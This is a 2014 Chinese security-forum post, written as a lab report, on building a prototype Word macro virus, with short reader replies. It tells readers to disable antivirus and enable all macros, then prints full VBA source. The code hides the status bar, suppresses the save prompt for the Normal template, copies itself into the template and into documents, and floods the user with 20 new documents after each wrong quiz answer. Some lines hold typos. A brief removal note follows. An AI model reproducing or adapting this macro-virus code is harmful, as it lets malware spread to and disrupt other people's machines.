首页
社区
课程
招聘
[原创]宏病毒雏形
发表于: 2014-12-25 21:57 10873

[原创]宏病毒雏形

2014-12-25 21:57
10873

PS:这只是一个病毒雏形,由于涉及安全方面,并没有加入自动运行,自动感染代码段。

1.  病毒制作
2.  病毒清除
实验步骤及数据记录:
病毒制作:
1.  关闭杀毒软件,打开word 2007。
在word 2007界面中点击office ==》word 选项(I)==》在功能区显示“开发工具”选项卡(D)
如图1:
 
返回word界面,点击“开发工具”==》“宏安全性”,选择启动所有宏,如图2,3
 

     
 
打开一个word文档,Alt+F11打开宏编辑器(开发工具Visual Basic),点击(工程
project下面的project.microsoft word.thisdecument)thisdecument,,然后开始编写宏病毒代码。
如下:
'Document_Close
Sub Document_Close()
'***************************************************************************************
'屏蔽状态栏,以免显示宏病毒执行状态;修改公用模版是自动保存且不提示;自动执行病毒模板

'**************************************************************
On Error Resume Next

Application.DisplayStatusBar = False                                                  
'屏蔽状态栏

'**************************************************************
Options.SaveNormalPrompt = False                                                      
'修改公用模板时在后台自动保存,不给任何提示

'**************************************************************
Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100)             
'获取当前文档代码对象

Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule                        
'获取共用模板的代码对象

'***************************************************************************************
'获取当前文档对象代码和共用模板对象代码

If ThisDocument = NormalTemplate Then '判断当前文件是否等于公用模板对象

Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule '如果是,则获取当前活动文
档的代码对象

End If
  
'***************************************************************************************
'设立检查当前文档是否被感染,如果没有就自动执行复制宏病毒到模板并修改函数名操作
    With host
    
    
        If .Lines(1.1) <> "Document_Close()" Then                                          '判断当前文档是否感染病毒
        
        .deletelines 1, .countoflines                                                      '如果不是,就清除原来的代码
        
        .insertlines 1, .OurcodeLines                                                      '嵌入病毒代码
        
        .replaceline 2, "Sub Document_Close()"                                             '更换 Document_Close()
        
        
        If ThisDocument = NormalTemplate Then                                               '判断当前的文档是否等于公用模块
        
        .replaceline 2, "Sub Document_Open()"                                               '如果是,则替换为 Document_Open()
        ActiveDocument.SaveAs ActiveDpcument.FullName                                       '保存文档,并修改函数名
        
        End If
        
        
        End If
        
    
    End With
    
    MsgBox "Smallboy of Micro Virus by Content Security Lab"                                '弹出对话框
    
    
End Sub
然后保存,点击运行则弹出一个对话框,如图4:
 
然后在建立一个公用宏模板。开发工具==》宏(alt+F8)输入一个宏模板名字点击“创建”。如图5:
 
然后输入如下代码:
'moonlight
Dim nm(4)
Sub Smallboy_Virus()
'
' Smallboy_Virus 宏
'
'
'***************************************************************************************
'屏蔽状态栏,以免显示宏病毒执行状态;修改公用模版是自动保存且不提示;自动执行病毒模板
On Error Resume Next

Application.DisplayStatusBar = False                                                 
'屏蔽状态栏

'***************************************************************************************
Options.SaveNormalPrompt = False                                                      
'修改公用模板时在后台自动保存,不给任何提示

'***************************************************************************************
Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100)             
'获取当前文档代码对象

Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule                        
'获取共用模板的代码对象

'**************************************************************************************
'获取当前文档对象代码和共用模板对象代码
If ThisDocument = NormalTemplate Then                                                
'判断当前文件是否等于公用模板对象

Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule                        
'如果是,则获取当前活动文档的代码对象

End If
 
'************************************************************************************************
'设立检查当前文档是否被感染,如果没有就自动执行复制宏病毒到模板并修改函数名操作
    With host
        If .Lines(1.1) <> "Smallboy_Virus()" Then                                      
'判断当前文档是否感染病毒
        
        .deletelines 1, .countoflines                                                  
'如果不是,就清除原来的代码
        .insertlines 1, .OurcodeLines                                                  
'嵌入病毒代码
        .replaceline 2, "Sub Smallboy_Virus()"                                         
'更换 Smallboy_Virus

        If ThisDocument = NormalTemplate Then                              
        '判断当前的文档是否等于公用模块
        
        .replaceline 2, "Sub Smallboy_Virus()"                               
'如果是,则替换为 Smallboy_Virus
        ActiveDocument.SaveAs ActiveDpcument.FullName                           
       '保存文档,并修改函数名()
        
        End If
        
        End If
        
    
    End With

'***************************************************************************************
'********************************************************************弹出第一个框*******
MsgBox "老乡您好!我来串门了。我谨代表党中央,国务院,中央军委,全国人民和习大大向你表示
真诚的问候和衷心地祝愿!(^_^)! "

'********************************************************************定义算数数据成员***
Count = 0                                        '定义count=0

try:                                             '执行try语句
On Error GoTo 0
On Error GoTo try
test = -1                                        '初始化并定义text=-1
con = 1                                          '初始化并定义con=1
tog$ = ""                                        '初始化tog$
i = 0                                            '初始化并定义i=0

'开始执行算术数据成员的行循环语句********************************
While test = -1                          
    '因为之前已经定义了test=-1,所以肯定会先执行一次while循环
        
         For i = 0 To 4                     
     '执行一个for循环
         
         
         nm(i) = Int(Rnd() * 100)           
     '将rnd()*100的正整数结果赋值给数组nm(i)
         con = con * nm(i)                
       '将con*nm(i)的值传回给con
         
         If i = 4 Then 
 '如果i=4,也就是for循环结束之后,开始执行if下的语句
         
         tog$ = tog$ + Str$(nm(4)) + "=?"
        '将tog$和Str$( nm(4))+字符串"=?"的值都传给tog$
         GoTo beg                                '执行beg语句
         
         End If                                  '上一个if判断语句执行结束
         
         tog$ = tog$ + Str$(nm(i)) + "*"
         '将tog$和Str$( nm(4))+字符串"*"的值都传给tog$
         Next i                                  '返回for循环
         
beg:
'显示第二个对话框,进行答题判断
Beep
ans$ = InputBox("今天是" + Date$ + ",我们玩个心算游戏可好?" + Chr$(13) + "如果你答错了,
我将代表月亮消灭你!" + Chr$(13) + tog$, "Smallboy")
'显示心算题,和输入心算结果

'*******************************输入运算结果后将要执行的语句'

            If RTrim$(LTrim$(ans$)) = LTrim$(Str$(con)) Then            
'判断ans$与con是否相等,这是是主要的if判断语句,是下面进行操作的主要依据

'输入答案正确后将要执行的语句'*****************************************
     
     
     MsgBox "恭喜您答对了!我代表党中央,国务院,中央军委,全国人民和习大大向你表示热烈的
祝贺!(^_^)!"
          
 '************设置文本格式,字体***************************************************
                
                'Documents.Add
                Selection.Paragraphs.Alignment = wdAlignParagraphCenter  
' 设置居中对齐
                
                Beep
                With Selection.Font                       
               '设置文本字体
                
                     .Name = "黑体"                   
                   '设置文本字体为黑体
                     .Size = 16                
                     '设置文本字体大小为16
                     .Bold = 1                          
                 '设置文本字体为粗体
                     .Underline = 1                      
                '设置文本字体为下划线
                     .Color = wdColorRose               
                 '设置文本字体问玫瑰红色
                     
                End With
                
                Selection.InsertAfter Text = "什么是宏病毒?"    '嵌入文本
                Selection.InsertParagraphAfter                   '换行
                
                Beep
                Selection.InsertAfter Text:="答案:"               '嵌入文本
                Selection.Font.Italic = 1                          '设置文本字体为斜体
                Selection.InsertAfter Text:="你妹啊,我不是!"     '嵌入文本
                Selection.InsertParagraphAfter                     '换行
                Selection.InsertParagraphAfter                     '换行
                Selection.Font.Italic = 0                          '撤销文本为斜体
                                
                Beep
                Selection.InsertAfter Text:="如何防御宏病毒"       '嵌入文本
                Selection.InsertParagraphAfter                     '换行
                Selection.InsertParagraphAfter                     '换行
                
                Beep
                Selection.InsertAfter Text:="答案:"               '嵌入文本
                Selection.Font.Italic = 1                          '设置文本字体为斜体
                Selection.InsertAfter Text:="别看我,我不知道……" '嵌入文本
           
        MsgBox "按确定键,我将告诉你一个秘密……", "好吧,告诉你吧!我就是梧州学院Small
boy_Virus!"               
                GoTo out                                                 '退出goto语句
     
'****输入答案不正确后将要执行的语句****************************************
                Else                          '执行else语句,也就是回答错误后将要执行的
                    Count = Count + 1                       'count++,本来count初始化为0
                    For j = 1 To 20                         '执行循环语句,循环20次
                    
                    Beep
                    Documents.Add                           '增加一个现在这个文档
                    Next j 
                Selection.Paragraphs.Alignment = wdAlignParagraphCenter
'设置文本格式为居中对齐
                Selection.InsertAfter Text:="宏病毒"        '嵌入一个文本                
                If Count = 2 Then GoTo out 
'判断是否执行打开该文本操作够2个20次,如果够了就退出goto语句
                GoTo try  
                WordBasic.filedefault  '退出WordBasic文本
                End If
Wend            '结束with语句
out:            '退出
End Sub         '退出Sub
    保存文本,按F5进行调试就会得出如图6结果:
 
    点击“确定”将会弹出让你算出一个算术题,然你算出结果,输入答案。如图7

 
输入答案后点击“确定”,如果结果错误他将会弹出20个当前文本,如图8所示:
 

然后继续让你解答另一个心算题,如果错了它再继续弹出20个当前文本,如图9:图10
 
 
任务管理器瞬间爆表!然后一切归于平静(默默的挨个关闭文档窗口(T_T))
    当然,如果你答对了心算题之后,将会出现另一种现象,首先会弹出下面会话框,如图11:
 
    点击确定,将会弹出新的一个文本和一个对话框,文本上面有文字,如图12:
 
点击确定,将弹出另一个对话框,如图13:
 
     点击之后就没有下文了。整个宏病毒雏形功能实现完毕。
2.  病毒清除
清除病毒很简单,打开word文档,然后在建立一个公用宏模板。开发工具==》宏(alt+F8)
将相关的模块删除即可,如图14:


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 3
支持
分享
最新回复 (9)
雪    币: 188
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
多谢分享,学习啦
2014-12-25 22:05
0
雪    币: 209
活跃值: (818)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
这么冷的天,圣诞夜你就给俺鼓捣这个玩意?
俺一向只用WPS Office怎么办?
2014-12-25 23:09
0
雪    币: 6
活跃值: (1151)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
好几十年前的了
2014-12-25 23:17
0
雪    币: 11096
活跃值: (17617)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
来支持一下楼主,
2014-12-26 08:26
0
雪    币: 364
活跃值: (1741)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
6
vb宏手动清除谁都会。 我以前在杀软公司是用代码解析word,卡巴源码也这样做. 来获取文件vb宏位置,并清0,保存.

以后不要说是垃圾梧州学院的,我都毕业4、5年了,我都不好意说是梧院的学生了。记得当年计算机的专业的老师,只会教Java、ASP,jsp,我毕业设计是ARK工具,答辩老师sb听不懂,不懂安全,不给我合格.
2014-12-26 09:44
0
雪    币: 716
活跃值: (158)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
7
有同感啊!!
2014-12-26 12:55
0
雪    币: 716
活跃值: (158)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
8
这只是一个实验雏形而已
2014-12-26 13:22
0
雪    币: 2
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
感谢分享。支持啊。找的好难
2015-1-2 21:53
0
雪    币: 33
活跃值: (318)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
10
2020-4-24 19:13
0
游客
登录 | 注册 方可回帖
返回
//